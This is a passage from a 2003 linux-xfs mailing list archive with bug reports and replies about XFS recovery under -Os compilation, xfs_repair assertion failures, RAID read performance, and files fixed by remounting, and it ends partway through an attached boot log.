From: Christoph Hellwig To: Cory Visi Cc: linux-xfs@oss.sgi.com, Nathan Scott , Steve Lord Subject: Re: XFS recovery issues Message-ID: <20030923160349.A17925@infradead.org> References: <20030923142740.A15989@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from merlin@phear.lwz.org on Tue, Sep 23, 2003 at 10:56:09AM -0400 X-archive-position: 506 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs Content-Length: 583 Lines: 13 On Tue, Sep 23, 2003 at 10:56:09AM -0400, Cory Visi wrote: > Thank you for tipping me off to compiler/gcc problems. I was compiling the > kernel with -Os. When I reverted this back to -O2, XFS recovery began > working. > > Should XFS be able to be compiled with -Os? Is my gcc doing something > funky with -Os? Hopefully this experience will become helpful to someone. A kernel (and thus XFS) generally should work with either -Os or -O2. If -Os still doesn't work with gcc3.3 / CVS HEAD I'd fill a bugreport against gcc. Not sure whether you want to invest that time, though.. From owner-linux-xfs@oss.sgi.com Tue Sep 23 09:05:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 09:05:42 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NG5aFx020836 for ; Tue, 23 Sep 2003 09:05:36 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8NG5Uq0014465 for ; Tue, 23 Sep 2003 09:05:31 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8NG5Ucc11735951 for ; Tue, 23 Sep 2003 11:05:30 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8NG5USn29641880 for ; Tue, 23 Sep 2003 11:05:30 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8NG5Tkf024575 for ; Tue, 23 Sep 2003 11:05:29 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8NG5TTM024573 for linux-xfs@oss.sgi.com; Tue, 23 Sep 2003 11:05:29 -0500 Date: Tue, 23 Sep 2003 11:05:29 -0500 From: Steve Lord Message-Id: <200309231605.h8NG5TTM024573@jen.americas.sgi.com> Subject: PARTIAL TAKE 901191 - X-archive-position: 507 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 455 Lines: 17 Switch pagebuf hashing to be based on the block_device address rather than the dev_t. Should give better distribution. Date: Tue Sep 23 09:05:14 PDT 2003 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158800a linux/fs/xfs/pagebuf/page_buf.c - 1.133 - change _bhash to use block_device address rather than bd_dev for hashing. From owner-linux-xfs@oss.sgi.com Tue Sep 23 09:09:55 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 09:10:11 -0700 (PDT) Received: from localhost.localdomain (host-65-120-145-91.coremetrics.com [65.120.145.91] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NG9sFx021382 for ; Tue, 23 Sep 2003 09:09:54 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.8/8.12.8) with ESMTP id h8NG7uvB001984; Tue, 23 Sep 2003 11:07:56 -0500 Received: (from austin@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id h8NG7uiQ001982; Tue, 23 Sep 2003 11:07:56 -0500 X-Authentication-Warning: localhost.localdomain: austin set sender to austin@coremetrics.com using -f Subject: Re: Read performance issues with 2.6.0test5? From: Austin Gonyou To: Frank Hellmann Cc: freemyer-ml@NorcrossGroup.com, XFS List In-Reply-To: <3F70417E.2050304@opticalart.de> References: <3F70417E.2050304@opticalart.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Coremetrics, Inc. Message-Id: <1064333276.1939.4.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Tue, 23 Sep 2003 11:07:56 -0500 X-archive-position: 508 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: austin@coremetrics.com Precedence: bulk X-list: linux-xfs Content-Length: 1863 Lines: 54 On Tue, 2003-09-23 at 07:50, Frank Hellmann wrote: > Hi! > > Good suggestion and guess what? Performance is bad on the raw device > as > well. So it is not an XFS issue... I thought this is what you might see. I'd suggest *not* using MD in the manner you are, and just letting the Infortrend Controller do the striping. It will be better for you. If you have the updated firmware 3.31T(I think), then you should be able to even chain them together and do a raid 0 or raid 1 across trays. I've spoken to our current vendor about doing this should we get another one. Anyway, I'd also suggest checking your frame size and your Qlogic config setting for modules.conf using the SANSurfer software. Hope this helps and good luck. I'd like if you could, to keep me posted off-list about your testing. I'm highly interested in where this turns for you. > Sorry for the wrong guess... > > Cheers, > Frank... > > Greg Freemyer wrote: > > On Mon, 2003-09-22 at 12:37, Austin Gonyou wrote: > > > > > >>I agree that these results are odd. Something is amiss here, but > there > >>really are many parts to remove before signifying one or the other. > You > >>could always format that MD volume you made as EXT3 or Reiser and > >>perform the same test. > >> > > > > If the filesystem is of no value, you could also do you dd to the > raw MD > > volume. > > > > If that has similar problems then you can forget about xfs as the > > bottleneck. > > > > Greg > > -- > -------------------------------------------------------------------------- > Frank Hellmann Optical Art GmbH Waterloohain 7a > Digital Cinema http://www.opticalart.de 22769 Hamburg > frank@opticalart.de Tel: ++49 40 5111051 Fax: ++49 40 > 43169199 -- Austin Gonyou Coremetrics, Inc. From owner-linux-xfs@oss.sgi.com Tue Sep 23 15:37:07 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 15:37:20 -0700 (PDT) Received: from electre.pasteur.fr (electre.pasteur.fr [157.99.64.120]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NMb0Fx027502 for ; Tue, 23 Sep 2003 15:37:06 -0700 Received: from xiii.bis.pasteur.fr (xiii.bis.pasteur.fr [157.99.90.14]) by electre.pasteur.fr (8.12.9/8.12.9) with ESMTP id h8NMb0lQ043348 for ; Wed, 24 Sep 2003 00:37:00 +0200 (CEST) Received: (from tru@localhost) by xiii.bis.pasteur.fr (8.11.6/8.11.6) id h8NMaxe25541 for linux-xfs@oss.sgi.com; Wed, 24 Sep 2003 00:36:59 +0200 Date: Wed, 24 Sep 2003 00:36:59 +0200 From: Tru Huynh To: "linux-xfs@oss.sgi.com" Subject: xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. Message-ID: <20030924003659.A25447@xiii.bis.pasteur.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 509 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tru@pasteur.fr Precedence: bulk X-list: linux-xfs Content-Length: 3152 Lines: 120 Hi, Some more trouble on another partition :( background: nfs server on RedHat 7.3 based machine + 2.4.22-xfs-cvs20030916 [tru@fly ~]$ dmesg| grep XFS SGI-XFS CVS-2003-09-15_05:00_UTC with no debug enabled [tru@fly ~]$ xfs_repair -V xfs_repair version 2.5.7 /var/log/messages: xfs_force_shutdown(ide1(22,1),0x8) called from line 1071 of file xfs_trans.c. Return address = 0xc01c3bf3 Filesystem "ide1(22,1)": Corruption of in-memory data detected. Shutting down filesystem: ide1(22,1) Please umount the filesystem, and rectify the problem(s) The failing filesystem is: /dev/hdd1 xfs 120612604 58749712 61862892 49% /Bis/db I umounted the filesystem, run xfs_repair on it: .... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - clearing existing "lost+found" inode - marking entry "lost+found" to be deleted - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 entry "/" in directory inode 82364787 points to self: clearing entry no . entry for directory 82364787 no .. entry for directory 82364787 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... rebuilding directory inode 128 - traversal finished ... - traversing all unattached subtrees ... rebuilding directory inode 82364787 xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. Abort And the xfs_db: [tru@fly ~]$ sudo xfs_db /dev/hdc1 xfs_db> inode 82364787 xfs_db> print core.magic = 0x494e core.mode = 040755 core.version = 1 core.format = 2 (extents) core.nlinkv1 = 2 core.uid = 2335 core.gid = 400 core.flushiter = 1 core.atime.sec = Tue Sep 23 23:26:59 2003 core.atime.nsec = 556198000 core.mtime.sec = Tue Sep 23 23:27:04 2003 core.mtime.nsec = 923491000 core.ctime.sec = Tue Sep 23 23:27:04 2003 core.ctime.nsec = 923491000 core.size = 4096 core.nblocks = 3 core.extsize = 0 core.nextents = 3 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.gen = 122 next_unlinked = null any idea ? Thanks, Tru -- Dr Tru Huynh | http://www.pasteur.fr/recherche/unites/Binfs/ mailto:tru@pasteur.fr | tel/fax +33 1 45 68 87 37/19 Institut Pasteur, 25-28 rue du Docteur Roux, 75724 Paris CEDEX 15 France From owner-linux-xfs@oss.sgi.com Tue Sep 23 15:48:42 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 15:48:48 -0700 (PDT) Received: from electre.pasteur.fr (electre.pasteur.fr [157.99.64.120]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NMmeFx028159 for ; Tue, 23 Sep 2003 15:48:41 -0700 Received: from xiii.bis.pasteur.fr (xiii.bis.pasteur.fr [157.99.90.14]) by electre.pasteur.fr (8.12.9/8.12.9) with ESMTP id h8NMmdlQ077177 for ; Wed, 24 Sep 2003 00:48:39 +0200 (CEST) Received: (from tru@localhost) by xiii.bis.pasteur.fr (8.11.6/8.11.6) id h8NMmdK25820 for linux-xfs@oss.sgi.com; Wed, 24 Sep 2003 00:48:39 +0200 Date: Wed, 24 Sep 2003 00:48:39 +0200 From: Tru Huynh To: "linux-xfs@oss.sgi.com" Subject: Re: xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. Message-ID: <20030924004839.A25236@xiii.bis.pasteur.fr> References: <20030924003659.A25447@xiii.bis.pasteur.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030924003659.A25447@xiii.bis.pasteur.fr>; from tru@pasteur.fr on Wed, Sep 24, 2003 at 12:36:59AM +0200 X-archive-position: 510 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tru@pasteur.fr Precedence: bulk X-list: linux-xfs Content-Length: 3183 Lines: 113 On Wed, Sep 24, 2003 at 12:36:59AM +0200, Tru Huynh wrote: > Hi, > > Some more trouble on another partition :( > > I umounted the filesystem, run xfs_repair on it: > .... no better luck with version 2.5.8 of xfs_repair :( [tru@fly ~]$ xfs_repair -V xfs_repair version 2.5.8 [tru@fly ~]$ sudo xfs_repair /dev/hdc1 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 entry at block 0 offset 16 in directory inode 82364787 has illegal name "/": entry "/" in directory inode 82364787 points to self: clearing entry no . entry for directory 82364787 no .. entry for directory 82364787 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - clearing existing "lost+found" inode - marking entry "lost+found" to be deleted - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 entry "/" in directory inode 82364787 points to self: clearing entry no . entry for directory 82364787 no .. entry for directory 82364787 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... rebuilding directory inode 128 - traversal finished ... - traversing all unattached subtrees ... rebuilding directory inode 82364787 xfs_repair: phase6.c:2604: longform_dir2_rebuild_finish: Assertion `error == 0' failed. Abort -- Dr Tru Huynh | http://www.pasteur.fr/recherche/unites/Binfs/ mailto:tru@pasteur.fr | tel/fax +33 1 45 68 87 37/19 Institut Pasteur, 25-28 rue du Docteur Roux, 75724 Paris CEDEX 15 France From owner-linux-xfs@oss.sgi.com Tue Sep 23 15:52:35 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 23 Sep 2003 15:52:45 -0700 (PDT) Received: from s383.jpl.nasa.gov (s383.jpl.nasa.gov [137.79.94.127]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8NMqWFx028590 for ; Tue, 23 Sep 2003 15:52:34 -0700 Received: from mulan.jpl.nasa.gov (mulan [137.78.61.94]) by s383.jpl.nasa.gov (8.12.10/8.12.10) with ESMTP id h8NMqJ1F018993; Tue, 23 Sep 2003 15:52:19 -0700 (PDT) Received: from jpl.nasa.gov (localhost.localdomain [127.0.0.1]) by mulan.jpl.nasa.gov (Postfix) with ESMTP id 77A9689C; Tue, 23 Sep 2003 18:52:19 -0400 (EDT) Message-ID: <3F70CEA3.70905@jpl.nasa.gov> Date: Tue, 23 Sep 2003 15:52:19 -0700 From: Bryan Whitehead Organization: Jet Propulsion Laboratory User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030630 X-Accept-Language: en-us, en, zh, zh-cn, zh-hk, zh-sg, zh-tw, ja MIME-Version: 1.0 To: linux-kernel@vger.kernel.org Cc: expert@linux-mandrake.com, linux-xfs@oss.sgi.com Subject: File access error fixed with mount -o remount ? X-Enigmail-Version: 0.76.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------020005090909010500090005" X-archive-position: 511 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: driver@jpl.nasa.gov Precedence: bulk X-list: linux-xfs Content-Length: 15159 Lines: 365 This is a multi-part message in MIME format. --------------020005090909010500090005 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I have run across a problem with files that seem to become randomly "broken" but after a "mount -o remount" the files start working normally again. I emailed the lkml even tho the kernel is a distro kernel hoping someone has at least an idea on what area of the kernel would *most likley* cause this problem to happen. The kernel running is "2.4.19-35mdkenterprise". This is a distro kernel that is basically 2.4.19+patches. [root@micro root]# cat /export/project/mam/jshupe/mam_ta/gizmos/ft/Makefile cat: /export/project/mam/jshupe/mam_ta/gizmos/ft/Makefile: Invalid argument [root@micro root]$ ls -al /export/project/mam/jshupe/mam_ta/gizmos/ft/Makefile Makefile -rw-rw-r-- 1 jshupe optint 1.2K Jun 24 16:40 Makefile Other files in the same directory do not have this problem. the filesystem is mounted like this: [root@micro root]# cat /proc/mounts | grep project /dev/sdb1 /export/project xfs rw 0 0 /dev/sdc1 /export/project1 xfs rw 0 0 This fixes the problem: [root@micro root]# mount -o remount /export/project [root@micro root]# cat /export/project/mam/jshupe/mam_ta/gizmos/ft/Makefile [Makefile contents print out with no errors or data curruption] I attached the boot up logs if needed. -- Bryan Whitehead SysAdmin - JPL - Interferometry and Large Optical Systems Phone: 818 354 2903 driver@jpl.nasa.gov --------------020005090909010500090005 Content-Type: text/plain; name="micro.dmesg" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="micro.dmesg" Linux version 2.4.19-35mdkenterprise (qateam@updates.mandrakesoft.com) (gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk)) #1 SMP Wed Jul 9 15:03:47 MDT 2003 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 00000000000a0000 (usable) BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000003ff77000 (usable) BIOS-e820: 000000003ff77000 - 000000003ff79000 (ACPI NVS) BIOS-e820: 000000003ff79000 - 0000000040000000 (reserved) BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee10000 (reserved) BIOS-e820: 00000000ffb00000 - 0000000100000000 (reserved) 127MB HIGHMEM available. 896MB LOWMEM available. found SMP MP-table at 000fe710 hm, page 000fe000 reserved twice. hm, page 000ff000 reserved twice. hm, page 000f0000 reserved twice. Advanced speculative caching feature not present On node 0 totalpages: 262007 zone(0): 4096 pages. zone(1): 225280 pages. zone(2): 32631 pages. ACPI: RSDP (v000 DELL ) @ 0x000fd550 ACPI: RSDT (v001 DELL WS 530 00000.00008) @ 0x000fd564 ACPI: FADT (v001 DELL WS 530 00000.00008) @ 0x000fd598 ACPI: SSDT (v001 DELL st_ex 00000.04096) @ 0xfffe62b8 ACPI: MADT (v001 DELL WS 530 00000.00008) @ 0x000fd60c ACPI: BOOT (v001 DELL WS 530 00000.00008) @ 0x000fd678 ACPI: DSDT (v001 DELL dt_ex 00000.04096) @ 0x00000000 ACPI: BIOS passes blacklist ACPI: Local APIC address 0xfee00000 ACPI: LAPIC (acpi_id[0x01] lapic_id[0x00] enabled) Processor #0 Unknown CPU [15:1] APIC version 16 ACPI: LAPIC (acpi_id[0x02] lapic_id[0x01] enabled) Processor #1 Unknown CPU [15:1] APIC version 16 ACPI: LAPIC (acpi_id[0x03] lapic_id[0x01] disabled) ACPI: LAPIC (acpi_id[0x04] lapic_id[0x03] disabled) Using ACPI for processor (LAPIC) configuration information Intel MultiProcessor Specification v1.4 Virtual Wire compatibility mode. OEM ID: DELL Product ID: WS 530 APIC at: 0xFEE00000 I/O APIC #2 Version 32 at 0xFEC00000. Processors: 2 Building zonelist for node : 0 Kernel command line: auto BOOT_IMAGE=linux-enterpris ro root=805 devfs=mount hdc=ide-scsi ide_setup: hdc=ide-scsi Initializing CPU#0 Detected 1694.864 MHz processor. Console: colour VGA+ 80x25 Calibrating delay loop... 3381.65 BogoMIPS Memory: 1032304k/1048028k available (1395k kernel code, 15340k reserved, 486k data, 152k init, 130524k highmem) Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes) Inode cache hash table entries: 65536 (order: 7, 524288 bytes) Mount-cache hash table entries: 16384 (order: 5, 131072 bytes) Buffer-cache hash table entries: 65536 (order: 6, 262144 bytes) Page-cache hash table entries: 262144 (order: 8, 1048576 bytes) CPU: Before vendor init, caps: 3febfbff 00000000 00000000, vendor = 0 CPU: L1 I cache: 12K, L1 D cache: 8K CPU: L2 cache: 256K CPU: Hyper-Threading is disabled CPU: After vendor init, caps: 3febfbff 00000000 00000000 00000000 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. CPU: After generic, caps: 3febfbff 00000000 00000000 00000000 CPU: Common caps: 3febfbff 00000000 00000000 00000000 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX mtrr: v1.40 (20010327) Richard Gooch (rgooch@atnf.csiro.au) mtrr: detected mtrr type: Intel CPU: Before vendor init, caps: 3febfbff 00000000 00000000, vendor = 0 CPU: L1 I cache: 12K, L1 D cache: 8K CPU: L2 cache: 256K CPU: Hyper-Threading is disabled CPU: After vendor init, caps: 3febfbff 00000000 00000000 00000000 Intel machine check reporting enabled on CPU#0. CPU: After generic, caps: 3febfbff 00000000 00000000 00000000 CPU: Common caps: 3febfbff 00000000 00000000 00000000 CPU0: Intel(R) Xeon(TM) CPU 1.70GHz stepping 02 per-CPU timeslice cutoff: 731.73 usecs. enabled ExtINT on CPU#0 ESR value before enabling vector: 00000040 ESR value after enabling vector: 00000000 Booting processor 1/1 eip 2000 Initializing CPU#1 masked ExtINT on CPU#1 ESR value before enabling vector: 00000000 ESR value after enabling vector: 00000000 Calibrating delay loop... 3381.65 BogoMIPS CPU: Before vendor init, caps: 3febfbff 00000000 00000000, vendor = 0 CPU: L1 I cache: 12K, L1 D cache: 8K CPU: L2 cache: 256K CPU: Hyper-Threading is disabled CPU: After vendor init, caps: 3febfbff 00000000 00000000 00000000 Intel machine check reporting enabled on CPU#1. CPU: After generic, caps: 3febfbff 00000000 00000000 00000000 CPU: Common caps: 3febfbff 00000000 00000000 00000000 CPU1: Intel(R) Xeon(TM) CPU 1.70GHz stepping 02 Total of 2 processors activated (6763.31 BogoMIPS). ENABLING IO-APIC IRQs Setting 2 in the phys_id_present_map ...changing IO-APIC physical APIC ID to 2 ... ok. init IO_APIC IRQs IO-APIC (apicid-pin) 2-0, 2-13 not connected. ..TIMER: vector=0x31 pin1=2 pin2=0 number of MP IRQ sources: 44. number of IO-APIC #2 registers: 24. testing the IO APIC....................... IO APIC #2...... .... register #00: 02000000 ....... : physical APIC id: 02 .... register #01: 00178020 ....... : max redirection entries: 0017 ....... : PRQ implemented: 1 ....... : IO APIC version: 0020 .... register #02: 00000000 ....... : arbitration: 00 .... IRQ redirection table: NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: 00 000 00 1 0 0 0 0 0 0 00 01 003 03 0 0 0 0 0 1 1 39 02 003 03 0 0 0 0 0 1 1 31 03 003 03 0 0 0 0 0 1 1 41 04 003 03 0 0 0 0 0 1 1 49 05 003 03 0 0 0 0 0 1 1 51 06 003 03 0 0 0 0 0 1 1 59 07 003 03 0 0 0 0 0 1 1 61 08 003 03 0 0 0 0 0 1 1 69 09 003 03 0 0 0 0 0 1 1 71 0a 003 03 0 0 0 0 0 1 1 79 0b 003 03 0 0 0 0 0 1 1 81 0c 003 03 0 0 0 0 0 1 1 89 0d 000 00 1 0 0 0 0 0 0 00 0e 003 03 0 0 0 0 0 1 1 91 0f 003 03 0 0 0 0 0 1 1 99 10 003 03 1 1 0 1 0 1 1 A1 11 003 03 1 1 0 1 0 1 1 A9 12 003 03 1 1 0 1 0 1 1 B1 13 003 03 1 1 0 1 0 1 1 B9 14 003 03 1 1 0 1 0 1 1 C1 15 003 03 1 1 0 1 0 1 1 C9 16 003 03 1 1 0 1 0 1 1 D1 17 003 03 1 1 0 1 0 1 1 D9 IRQ to pin mappings: IRQ0 -> 0:2 IRQ1 -> 0:1 IRQ3 -> 0:3 IRQ4 -> 0:4 IRQ5 -> 0:5 IRQ6 -> 0:6 IRQ7 -> 0:7 IRQ8 -> 0:8 IRQ9 -> 0:9 IRQ10 -> 0:10 IRQ11 -> 0:11 IRQ12 -> 0:12 IRQ14 -> 0:14 IRQ15 -> 0:15 IRQ16 -> 0:16 IRQ17 -> 0:17 IRQ18 -> 0:18 IRQ19 -> 0:19 IRQ20 -> 0:20 IRQ21 -> 0:21 IRQ22 -> 0:22 IRQ23 -> 0:23 .................................... done. Using local APIC timer interrupts. calibrating APIC timer ... ..... CPU clock speed is 1694.7637 MHz. ..... host bus clock speed is 99.6918 MHz. cpu: 0, clocks: 996918, slice: 332306 CPU0 cpu: 1, clocks: 996918, slice: 332306 CPU1 checking TSC synchronization across CPUs: passed. Waiting on wait_init_idle (map = 0x2) All processors have done init_idle PCI: PCI BIOS revision 2.10 entry at 0xfbe4e, last bus=4 PCI: Using configuration type 1 PCI: Probing PCI hardware PCI: Probing PCI hardware (bus 00) Unknown bridge resource 0: assuming transparent Unknown bridge resource 2: assuming transparent Unknown bridge resource 2: assuming transparent Unknown bridge resource 2: assuming transparent PCI: Using IRQ router PIIX [8086/2440] at 00:1f.0 PCI->APIC IRQ transform: (B0,I31,P3) -> 19 PCI->APIC IRQ transform: (B0,I31,P1) -> 17 PCI->APIC IRQ transform: (B0,I31,P2) -> 23 PCI->APIC IRQ transform: (B1,I0,P0) -> 16 PCI->APIC IRQ transform: (B3,I14,P0) -> 22 PCI->APIC IRQ transform: (B4,I11,P0) -> 23 PCI->APIC IRQ transform: (B4,I12,P0) -> 16 PCI->APIC IRQ transform: (B4,I13,P0) -> 17 PCI->APIC IRQ transform: (B4,I14,P0) -> 18 PCI->APIC IRQ transform: (B4,I15,P0) -> 19 isapnp: Scanning for PnP cards... isapnp: No Plug & Play device found Linux NET4.0 for Linux 2.4 Based upon Swansea University Computer Society NET3.039 Initializing RT netlink socket apm: BIOS version 1.2 Flags 0x03 (Driver version 1.16) apm: disabled - APM is not SMP safe. Starting kswapd allocated 32 pages and 32 bhs reserved for the highmem bounces VFS: Diskquotas version dquot_6.5.0 initialized devfs: v1.12a (20020514) Richard Gooch (rgooch@atnf.csiro.au) devfs: boot_options: 0x1 pty: 256 Unix98 ptys configured Serial driver version 5.05c (2001-07-08) with HUB-6 MANY_PORTS MULTIPORT SHARE_IRQ SERIAL_PCI ISAPNP enabled ttyS00 at 0x03f8 (irq = 4) is a 16550A ttyS01 at 0x02f8 (irq = 3) is a 16550A Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx ICH2: IDE controller on PCI bus 00 dev f9 ICH2: chipset revision 4 ICH2: not 100% native mode: will probe irqs later ide1: BM-DMA at 0xffa8-0xffaf, BIOS settings: hdc:DMA, hdd:pio hdc: HL-DT-ST GCE-8160B, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 ide-floppy driver 0.99b RAMDISK driver initialized: 16 RAM disks of 32000K size 1024 blocksize ide-floppy driver 0.99b md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 md: Autodetecting RAID arrays. md: autorun ... md: ... autorun DONE. NET4: Linux TCP/IP 1.0 for NET4.0 IP Protocols: ICMP, UDP, TCP, IGMP IP: routing cache hash table of 8192 buckets, 64Kbytes TCP: Hash tables configured (established 262144 bind 65536) Linux IP multicast router 0.06 plus PIM-SM NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. RAMDISK: Compressed image found at block 0 Freeing initrd memory: 486k freed VFS: Mounted root (ext2 filesystem). Mounted devfs on /dev SCSI subsystem driver Revision: 1.00 scsi0 : Adaptec AIC7XXX EISA/VLB/PCI SCSI HBA DRIVER, Rev 6.2.8 aic7892: Ultra160 Wide Channel A, SCSI Id=7, 32/253 SCBs Vendor: FUJITSU Model: MAN3184MP Rev: 5507 Type: Direct-Access ANSI SCSI revision: 03 Vendor: SEAGATE Model: ST373307LW Rev: 0003 Type: Direct-Access ANSI SCSI revision: 03 Vendor: SEAGATE Model: ST373307LW Rev: 0003 Type: Direct-Access ANSI SCSI revision: 03 scsi0:A:0:0: Tagged Queuing enabled. Depth 253 scsi0:A:1:0: Tagged Queuing enabled. Depth 253 scsi0:A:2:0: Tagged Queuing enabled. Depth 253 Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 Attached scsi disk sdb at scsi0, channel 0, id 1, lun 0 Attached scsi disk sdc at scsi0, channel 0, id 2, lun 0 (scsi0:A:0): 160.000MB/s transfers (80.000MHz DT, offset 127, 16bit) SCSI device sda: 35566478 512-byte hdwr sectors (18210 MB) Partition check: /dev/scsi/host0/bus0/target0/lun0: p1 p2 < p5 p6 p7 p8 > (scsi0:A:1): 160.000MB/s transfers (80.000MHz DT, offset 63, 16bit) SCSI device sdb: 143374744 512-byte hdwr sectors (73408 MB) /dev/scsi/host0/bus0/target1/lun0: p1 (scsi0:A:2): 160.000MB/s transfers (80.000MHz DT, offset 63, 16bit) SCSI device sdc: 143374744 512-byte hdwr sectors (73408 MB) /dev/scsi/host0/bus0/target2/lun0: p1 SGI XFS with ACLs, DMAPI, realtime, quota, no debug enabled XFS mounting filesystem sd(8,5) Mounted devfs on /dev Freeing unused kernel memory: 152k freed Real Time Clock Driver v1.10e usb.c: registered new driver usbdevfs usb.c: registered new driver 